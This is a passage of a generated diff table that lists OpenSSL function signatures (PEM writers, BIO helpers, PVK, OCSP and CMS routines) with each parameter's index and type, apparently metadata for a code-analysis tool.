*,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 7 | OSSL_LIB_CTX * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 8 | const char * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 2 | int | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 3 | ASN1_PCTX * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 2 | int | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 3 | ASN1_PCTX * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 2 | int | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 3 | ASN1_PCTX * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 2 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 3 | const char * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 4 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 6 | void * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 2 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 3 | const char * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 4 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 6 | void * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 2 | int | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 3 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 4 | void * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 2 | int | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 3 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 4 | void * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 5 | OSSL_LIB_CTX * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 6 | const char * | +| (BIO *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_bio_NETSCAPE_CERT_SEQUENCE | 0 | BIO * | +| (BIO *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_bio_NETSCAPE_CERT_SEQUENCE | 1 | const NETSCAPE_CERT_SEQUENCE * | +| (BIO *,const PKCS7 *) | | PEM_write_bio_PKCS7 | 0 | BIO * | +| (BIO *,const PKCS7 *) | | PEM_write_bio_PKCS7 | 1 | const PKCS7 * | +| (BIO *,const PKCS7 *) | | i2d_PKCS7_bio | 0 | BIO * | +| (BIO *,const PKCS7 *) | | i2d_PKCS7_bio | 1 | const PKCS7 * | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 0 | BIO * | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 1 | const PKCS7 * | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 2 | int | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 3 | const ASN1_PCTX * | +| (BIO *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_bio_PKCS8_PRIV_KEY_INFO | 0 | BIO * | +| (BIO *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_bio_PKCS8_PRIV_KEY_INFO | 1 | const PKCS8_PRIV_KEY_INFO * | +| (BIO *,const PKCS12 *) | | i2d_PKCS12_bio | 0 | BIO * | +| (BIO *,const PKCS12 *) | | i2d_PKCS12_bio | 1 | const PKCS12 * | +| (BIO *,const RSA *) | | PEM_write_bio_RSAPublicKey | 0 | BIO * | +| (BIO *,const RSA *) | | PEM_write_bio_RSAPublicKey | 1 | const RSA * | +| (BIO *,const RSA *) | | PEM_write_bio_RSA_PUBKEY | 0 | BIO * | +| (BIO *,const RSA *) | | PEM_write_bio_RSA_PUBKEY | 1 | const RSA * | +| (BIO *,const RSA *) | | i2d_RSAPrivateKey_bio | 0 | BIO * | +| (BIO *,const RSA *) | | i2d_RSAPrivateKey_bio | 1 | const RSA * | +| (BIO *,const RSA *) | | i2d_RSAPublicKey_bio | 0 | BIO * | +| (BIO *,const RSA *) | | i2d_RSAPublicKey_bio | 1 | const RSA * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 0 | BIO * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 1 | const RSA * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 3 | const unsigned char * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 4 | int | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 5 | pem_password_cb * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 6 | void * | +| (BIO *,const RSA *,int) | | RSA_print | 0 | BIO * | +| (BIO *,const RSA *,int) | | RSA_print | 1 | const RSA * | +| (BIO *,const RSA *,int) | | RSA_print | 2 | int | +| (BIO *,const SSL_SESSION *) | | PEM_write_bio_SSL_SESSION | 0 | BIO * | +| (BIO *,const SSL_SESSION *) | | PEM_write_bio_SSL_SESSION | 1 | const SSL_SESSION * | +| (BIO *,const X509 *) | | PEM_write_bio_X509 | 0 | BIO * | +| (BIO *,const X509 *) | | PEM_write_bio_X509 | 1 | const X509 * | +| (BIO *,const X509 *) | | PEM_write_bio_X509_AUX | 0 | BIO * | +| (BIO *,const X509 *) | | PEM_write_bio_X509_AUX | 1 | const X509 * | +| (BIO *,const X509 *) | | i2d_X509_bio | 0 | BIO * | +| (BIO *,const X509 *) | | i2d_X509_bio | 1 | const X509 * | +| (BIO *,const X509_ACERT *) | | PEM_write_bio_X509_ACERT | 0 | BIO * | +| (BIO *,const X509_ACERT *) | | PEM_write_bio_X509_ACERT | 1 | const X509_ACERT * | +| (BIO *,const X509_ACERT *) | | i2d_X509_ACERT_bio | 0 | BIO * | +| (BIO *,const X509_ACERT *) | | i2d_X509_ACERT_bio | 1 | const X509_ACERT * | +| (BIO *,const X509_CRL *) | | PEM_write_bio_X509_CRL | 0 | BIO * | +| (BIO *,const X509_CRL *) | | PEM_write_bio_X509_CRL | 1 | const X509_CRL * | +| (BIO *,const X509_CRL *) | | i2d_X509_CRL_bio | 0 | BIO * | +| (BIO *,const X509_CRL *) | | i2d_X509_CRL_bio | 1 | const X509_CRL * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 0 | BIO * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 1 | const X509_INFO * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 2 | EVP_CIPHER * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 3 | const unsigned char * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 4 | int | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 5 | pem_password_cb * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 6 | void * | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 0 | BIO * | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 1 | const X509_NAME * | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 2 | int | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 3 | unsigned long | +| (BIO *,const X509_PUBKEY *) | | PEM_write_bio_X509_PUBKEY | 0 | BIO * | +| (BIO *,const X509_PUBKEY *) | | PEM_write_bio_X509_PUBKEY | 1 | const X509_PUBKEY * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ | 0 | BIO * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ | 1 | const X509_REQ * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ_NEW | 0 | BIO * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ_NEW | 1 | const X509_REQ * | +| (BIO *,const X509_REQ *) | | i2d_X509_REQ_bio | 0 | BIO * | +| (BIO *,const X509_REQ *) | | i2d_X509_REQ_bio | 1 | const X509_REQ * | +| (BIO *,const X509_SIG *) | | PEM_write_bio_PKCS8 | 0 | BIO * | +| (BIO *,const X509_SIG *) | | PEM_write_bio_PKCS8 | 1 | const X509_SIG * | +| (BIO *,const char *,OCSP_REQUEST *) | | OCSP_sendreq_bio | 0 | BIO * | +| (BIO *,const char *,OCSP_REQUEST *) | | OCSP_sendreq_bio | 1 | const char * | +| (BIO *,const char *,OCSP_REQUEST *) | | OCSP_sendreq_bio | 2 | OCSP_REQUEST * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 0 | BIO * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 1 | const char * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 2 | OSSL_LIB_CTX * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 3 | const char * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 4 | const UI_METHOD * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 5 | void * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 6 | const OSSL_PARAM[] | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 7 | OSSL_STORE_post_process_info_fn | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 8 | void * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 0 | BIO * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 1 | const char * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 2 | const OCSP_REQUEST * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 3 | int | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 0 | BIO * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 1 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 2 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 3 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 4 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 5 | int | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 6 | BIO * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 7 | const char * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 0 | BIO * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 1 | const char * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 2 | const stack_st_X509_EXTENSION * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 3 | unsigned long | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 4 | int | +| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 0 | BIO * | +| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 1 | const char * | +| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 2 | int | +| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 3 | int | +| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 4 | int | +| (BIO *,const char *,va_list) | | BIO_vprintf | 0 | BIO * | +| (BIO *,const char *,va_list) | | BIO_vprintf | 1 | const char * | +| (BIO *,const char *,va_list) | | BIO_vprintf | 2 | va_list | +| (BIO *,const stack_st_X509_EXTENSION *) | | TS_ext_print_bio | 0 | BIO * | +| (BIO *,const stack_st_X509_EXTENSION *) | | TS_ext_print_bio | 1 | const stack_st_X509_EXTENSION * | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 0 | BIO * | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 1 | const unsigned char * | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 2 | long | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 3 | int | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 0 | BIO * | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 1 | const unsigned char * | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 2 | long | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 3 | int | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 4 | int | +| (BIO *,int *) | | BIO_get_retry_BIO | 0 | BIO * | +| (BIO *,int *) | | BIO_get_retry_BIO | 1 | int * | +| (BIO *,int *) | | ossl_b2i_bio | 0 | BIO * | +| (BIO *,int *) | | ossl_b2i_bio | 1 | int * | +| (BIO *,int) | | BIO_clear_flags | 0 | BIO * | +| (BIO *,int) | | BIO_clear_flags | 1 | int | +| (BIO *,int) | | BIO_find_type | 0 | BIO * | +| (BIO *,int) | | BIO_find_type | 1 | int | +| (BIO *,int) | | BIO_set_flags | 0 | BIO * | +| (BIO *,int) | | BIO_set_flags | 1 | int | +| (BIO *,int) | | BIO_set_init | 0 | BIO * | +| (BIO *,int) | | BIO_set_init | 1 | int | +| (BIO *,int) | | BIO_set_retry_reason | 0 | BIO * | +| (BIO *,int) | | BIO_set_retry_reason | 1 | int | +| (BIO *,int) | | BIO_set_shutdown | 0 | BIO * | +| (BIO *,int) | | BIO_set_shutdown | 1 | int | +| (BIO *,int) | | TXT_DB_read | 0 | BIO * | +| (BIO *,int) | | TXT_DB_read | 1 | int | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 0 | BIO * | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 1 | int | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 2 | BIO ** | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 3 | CMS_ContentInfo ** | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 0 | BIO * | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 1 | int | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 2 | BIO ** | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 3 | const ASN1_ITEM * | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 4 | ASN1_VALUE ** | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 5 | OSSL_LIB_CTX * | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 6 | const char * | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 0 | BIO * | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 1 | int | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 2 | const ASN1_TYPE * | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 3 | int | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 0 | BIO * | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 1 | int | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 2 | const char * | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 3 | int | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 4 | long | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 5 | long | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 0 | BIO * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 1 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 2 | const char * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 3 | size_t | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 4 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 5 | long | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 6 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 7 | size_t * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 0 | BIO * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 1 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 2 | const char * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 3 | size_t | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 4 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 5 | long | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 6 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 7 | size_t * | +| (BIO *,pem_password_cb *,void *) | | b2i_DSA_PVK_bio | 0 | BIO * | +| (BIO *,pem_password_cb *,void *) | | b2i_DSA_PVK_bio | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *) | | b2i_DSA_PVK_bio | 2 | void * | +| (BIO *,pem_password_cb *,void *) | | b2i_PVK_bio | 0 | BIO * | +| (BIO *,pem_password_cb *,void *) | | b2i_PVK_bio | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *) | | b2i_PVK_bio | 2 | void * | +| (BIO *,pem_password_cb *,void *) | | b2i_RSA_PVK_bio | 0 | BIO * | +| (BIO *,pem_password_cb *,void *) | | b2i_RSA_PVK_bio | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *) | | b2i_RSA_PVK_bio | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 0 | BIO * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 4 | const char * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 0 | BIO * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 4 | const char * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 0 | BIO * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 4 | const char * | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 0 | BIO * | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 1 | size_t | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 2 | ..(*)(..) | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 3 | void * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 0 | BIO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 1 | stack_st_X509_INFO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 2 | pem_password_cb * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 3 | void * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 0 | BIO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 1 | stack_st_X509_INFO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 2 | pem_password_cb * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 3 | void * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 4 | OSSL_LIB_CTX * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 5 | const char * | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 0 | BIO * | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 1 | unsigned int | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 2 | OSSL_LIB_CTX * | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 3 | const char * | +| (BIO *,void *) | | BIO_set_data | 0 | BIO * | +| (BIO *,void *) | | BIO_set_data | 1 | void * | +| (BIO *,void *,int,int) | | app_http_tls_cb | 0 | BIO * | +| (BIO *,void *,int,int) | | app_http_tls_cb | 1 | void * | +| (BIO *,void *,int,int) | | app_http_tls_cb | 2 | int | +| (BIO *,void *,int,int) | | app_http_tls_cb | 3 | int | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 0 | BIO * | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 1 | void * | +| 